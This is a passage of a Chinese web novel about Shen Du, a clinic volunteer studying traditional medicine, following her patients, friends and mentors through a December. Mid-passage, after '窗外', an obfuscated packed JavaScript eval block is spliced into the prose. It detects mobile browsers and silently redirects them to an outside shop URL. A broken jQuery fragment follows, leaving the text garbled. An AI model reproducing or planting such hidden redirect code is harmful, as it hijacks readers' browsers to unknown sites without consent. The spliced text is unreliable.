十二月的第一个周六，沈渡在社区义诊时接到了一个电话。她正在给一个糖尿病足的老大爷清理创面，换了只手套，从口袋里翻出手机。屏幕上显示的是陈媛的名字，她的心跳快了一瞬。陈媛不会没事给她打电话。
“沈渡，我有点不舒服，发烧了，三十八度五。”沈渡手里的棉签停了一下，手套上沾着碘伏。“还有别的症状吗？”“头痛，喉咙痛，浑身没力气。”沈渡想了想，先换了一只新手套。“你去做血常规和C反应蛋白。结果出来了告诉我。”她挂了电话，把手机放在桌上，继续给老大爷包扎。手套上沾了碘伏，黏黏的，干得很快。
老大爷问她怎么了，她说没事。她不能慌，陈媛是白血病移植后患者，任何感染都可能是大事。但她不能在电话里让陈媛慌，慌没有用。
下午，陈媛把化验单拍了照片发过来。白细胞一万二，中性粒细胞百分之八十五，C反应蛋白五十。沈渡看了一眼——细菌感染，不是感冒，可能是扁桃体炎，也可能是肺炎。她回复：“去医院，急诊。让医生看看需不需要输液。”陈媛回了一个“好”。沈渡没有打电话过去，她在忙。她不知道陈媛有没有去，她只能在心里祈求她去了。关己则乱。她给病人看了一整天病，轮到自己亲近的人，反而束手无策。
傍晚义诊结束，沈渡给陈媛打电话。陈媛说去了，急诊医生说是急性扁桃体炎，开了抗生素，让回家吃。沈渡问她输液了吗，陈媛说没有，医生说不用。沈渡松了一口气。不用输液说明感染不重，口服抗生素就够了。“你按时吃药，多喝水，注意休息。”“知道了。”陈媛的声音闷闷的，塞了鼻子。
晚上沈渡没有看书。她躺在床上，翻来覆去，脑子里全是陈媛的化验单。白细胞一万二，不是很高，但也不低。C反应蛋白五十，是正常值的几十倍。急性扁桃体炎，按理说不会这么高的。她不知道是急诊医生漏了什么，还是她想多了。她很想自己给陈媛做检查，把脉、看舌、听心肺，但她做不到。她不是陈媛的医生，她是陈媛的朋友。朋友不好当医生，医生不好当朋友。中间那条线，她总是划不清。
十二月的第二个周三，沈渡跟陈槿值夜班。天更冷了，急诊科的大门一开，冷风就灌进来。沈渡在留观室查了一圈，心衰的、慢阻肺的、脑梗的、胰腺炎的。心衰的老太太今天喘得好一点了，能平躺了；慢阻肺的老伯戴着无创呼吸机，血氧九十五；脑梗的大叔在康复，能在床上活动手脚了；胰腺炎的年轻人还禁食着，瘦了好多。
她走回办公室的时候，陈槿在吃晚饭。盒饭已经凉了，青椒肉丝，青椒都蔫了，肉丝也硬了。
“你吃了吗？”陈槿抬头看她。
“吃了。”其实没吃，她在路上吃了一个包子，肉包子，火车站附近买的，皮厚馅小。
陈槿把盒饭盖上。“陈媛怎么样了？”沈渡不知道她怎么知道陈媛的事。“好多了，烧退了。”“她移植后多久了？”“快一年。”“一年，免疫系统还没完全恢复。感染风险比普通人高。你要提醒她注意。不要去人多的地方，戴口罩，勤洗手。”
沈渡说知道了。她都知道，但陈媛不一定听。她是陈媛的恩人，也是她的朋友。朋友不好当恩人，恩人不好当朋友。中间的线，她划不清。
后半夜，救护车送来一个病人。年轻人，二十出头，从酒吧抬来的，浑身酒气，意识不清。沈渡跑过去的时候，心电监护已经上了，心率一百三十，血压九十、六十。不是醉酒，是酒精中毒。严重到昏迷的那种。洗完胃后，年轻人被收入留观室。沈渡站在床边，睡得很沉，呼吸平稳，心电监护上的数字也正常。他不知道自己差点死了，明天醒来，他只会记得喝了很多酒，不记得有人给他洗了胃、输了液、守了一夜。他不知道，但沈渡知道。她不需要他记住。
早上交完班，沈渡走出急诊科大门。天还没亮透，东边的天际线有一线鱼肚白。风很大，吹得她头发糊了一脸。她站在公交站台等车，没有买烤红薯，那个卖烤红薯的今天没来。不知道是天太冷，还是城管不让摆，也许明天会来，也许不会。
周六义诊的时候，吴老太的女儿又来了。不是来看病的，是来送东西的。一个纸袋，里面是一条围巾，灰色的，毛线的，织得很密。沈渡看着那条围巾，不知道要不要收。“你织的？”吴老太的女儿摇头。“我妈。她说天冷了，怕你冻着，织了一条。让我送来。”
沈渡把围巾从纸袋里拿出来，绕在脖子上。很暖，比陈媛织的那条还暖。不只是暖在脖子上，暖在心里。被恨过的人原谅了，被骂过的医生又被接纳了。“你妈妈身体还好吗？”“好多了。血压血糖都正常，每天下楼遛弯，跟老头老太太们打牌。”“你替我跟她说谢谢。”
吴老太的女儿点了点头，转身走了。沈渡看着她的背影消失在门口，围巾还绕在脖子上，灰色的，毛线的，暖的。她不知道吴老太花了多长时间织这条围巾，也许一周，也许一个月，也许每天都织一点，织了拆，拆了织。她不知道，但她戴上了。
下午沈渡去了裴衍那里。裴衍坐在轮椅上，面前放着一张棋盘，自己跟自己下棋。左手执黑，右手执白。沈渡走过去在他对面坐下来。他抬起头看了她一眼，目光有些浑浊。“你会下棋吗？”沈渡摇头。“我教你。”她看着棋盘上纵横交错的格子，像医院的地图，每一条路都通，每一条路都可能走错。“你的方子我吃了，手抖好了一点，走路也好了一点。”
沈渡把手指搭上他的脉，弦细，尺弱，比上周有力了。药有效了。“裴先生，您的病在发展，但发展得慢了。”
裴衍看着自己的手。手在抖，但抖的幅度比以前小了很多。“慢了就好。慢一点，我还能多做一些事。”沈渡没有问他“什么事”，她也不问诊。裴衍自己说：“我想写一本书。把我的经验写下来。做了这么多年医院，总该留下点什么。”沈渡看着棋盘。黑子白子纠缠在一起，分不清谁包围了谁。她想，裴衍的书会写什么？怎么写？不知道。但她知道他写不完。帕金森病不会等他。她会帮他，能帮多少帮多少。
从裴衍那里出来，沈渡去了贺老那里。枇杷树的叶子也落光了，只剩光秃秃的枝丫在风里晃着。贺老在廊下坐着，围着围脖，手里抱着一个暖水袋。沈渡坐过去，也伸手抱了抱那个暖水袋。很暖，橡胶的，外面套着绒布套。
“贺老，您明年还教我了吗？”“教。教到你不想学为止。”“我不会不想学。”
贺老看着她，笑了一下，抱着暖水袋的手挪了挪位置。“你以前像这棵树，冬天的时候光秃秃的，以为自己死了。其实没死，只是在攒力气。现在你开始长叶子了，叶子不多，但绿了。”
沈渡抬头看着枇杷树。明年春天，它会发芽；明年夏天，它会结果；明年秋天，它的叶子会黄。她也会。
周日，沈渡去了赵大爷的便利店。赵大爷在收银台后面站着，没有坐。她不知道他怎么站起来了。
“大爷，您的腿好了？”“好了。你让我去查，我去了。医生说不是心衰，不是肾病，是静脉回流不好。让我把腿抬高，少站，多坐。我听了，好多了。”
沈渡看着他，又看着他的腿，站得挺直的。她想起他以前都是坐着，不是不想站，是站久了腿肿。现在能站了，不是病好了，是找到了原因。找到原因就能治。治不了根就治标，治不了标就缓解。能缓解一点是一点。一个人也是。
晚上沈渡回到出租屋。书桌上的台灯亮着，那本《中药学》翻在“麻黄”那一页。她看着贺老的批注——“发汗解表，宣肺平喘，利水消肿。切记：虚人慎用。”她的眼睛在那行字上停了很久，然后她合上书，关了灯。
窗外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694338|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路灯亮着，光从窗帘缝隙里挤进来。月缺了一块，缺的那块像被什么东西咬过。沈渡看着那块缺口，想着今天的这些脸——陈媛、陈槿、吴老太的女儿、裴衍、贺老、赵大爷。他们都在她的脑子里，在她面前的墙上，在她翻过的书页里。她合上书，关了灯，在黑暗中躺好。她的路还很长，但她不急了。急没有用。
十二月十九日，冬至前一天。陈媛打来电话。说请她冬至来家里吃饭，吃汤圆。沈渡问她身体好了没，她说早好了，扁桃体炎已经好了。沈渡说好。
冬至那天，沈渡先去了社区义诊。上午半天，病人比平时少，可能是过节，也可能是天冷。她说冬至要吃汤圆，来年会长一岁。有人问她在哪买，她说自己做。其实她不会做，但她吃过。奶奶做的。奶奶在的时候，每年冬至都做。糯米粉、红糖、芝麻馅。她帮奶奶揉面，手黏黏的，洗不干净。后来奶奶不在了，她再也没有吃过那样的汤圆。不是买不到，是不敢吃。怕吃了就想起，怕想起就哭。现在不怕了。哭也没关系。
下午沈渡去了陈媛家。陈媛的丈夫做了一大桌子菜，红烧肉、清蒸鲈鱼、蒜蓉西兰花、番茄蛋汤。电饭锅里蒸了汤圆，每人一小碗。沈渡端起碗，看着那几个白白的、圆圆的汤圆浮在红糖水里。她用勺子舀起一个咬了一口，芝麻馅流出来，很甜。不是奶奶做的那种甜，但也是甜的。
“沈渡，你明年就考助理医师了吧？”陈媛也吃了一口汤圆。“嗯。”“考上了，你就是医生了。”“考上了才是。考不上不是。”陈媛把汤圆咽下去。“考不上再考。你肯定能考上。”
沈渡吃了第二个汤圆，芝麻馅的，甜。她不知道自己能不能考上，但她会考。考不上再考，考不上再考。总有考上的那一天。总有一天，她会成为真正的医生。不是有执照的那种，是自己认可自己的那种。
从陈媛家出来，天已经黑了。沈渡走在路灯下。风从西北方向来，凉飕飕的。她把围巾往上拉了拉，灰色那条，吴老太织的。
手机震了，收到两条短信。贺老：“冬至快乐。别忘了吃汤圆。”林院长：“冬至安好。”她看了很久，回了两条。给贺老：“吃了。甜。”给林院长：“您也是。”
冬至的夜很长，沈渡不急着睡觉。她坐在书桌前翻开那本《中药学》。她从麻黄读到大黄，从大黄读到附子。每一个字都是贺老教的，每一笔批注都是贺老写的。她把书合上，放在胸口。贺老的字在她心上。她记得，不会忘。
十二月的最后一个周末，沈渡在社区义诊时收到了一个包裹。不是快递员送来的，是放在活动中心门口的，牛皮纸信封，上面打印着她的名字，没有寄件人。她拆开，里面是一张贺卡。封面上是一棵圣诞树，绿色的，上面挂满了金色和红色的小球。打开来，里面用铅笔写着一行字，字迹歪歪扭扭——“新年快乐。祝你明年考上医生。”落款是赵大爷。沈渡把贺卡放进抽屉里，和那些感谢信、处方笺、奶奶的糖纸放在一起。抽屉快满了。
这一年，她收到了很多。赵大爷的挂号单、贺老的那把深蓝色折叠伞、林院长的推荐信、陈媛的手套和围巾、徐敏的鲫鱼汤、念念的积木、陈槿的一句话，以及自己的那件白大褂。她不知道明年会收到什么，但她知道她会继续。继续看书，继续义诊，继续值夜班，继续给裴衍看病。她停不下来。不是不想停，是不能停。停了，就对不起那些人。那些信任她的人，那些等她的人，那些把她从冰层底下捞出来的人。她的命不是她一个人的，是他们的。
沈渡坐在书桌前，在旧台历的最后一页写了一行字——“今年我学会了把脉、针灸、开方、看CT、做心肺复苏。”写得不好，字有点歪。她看着这行字，又加上一句：“还学会了被骂、被误解、被不信任。都没关系。”她合上台历，关了灯，躺下来。路还很长，但她走了很远了。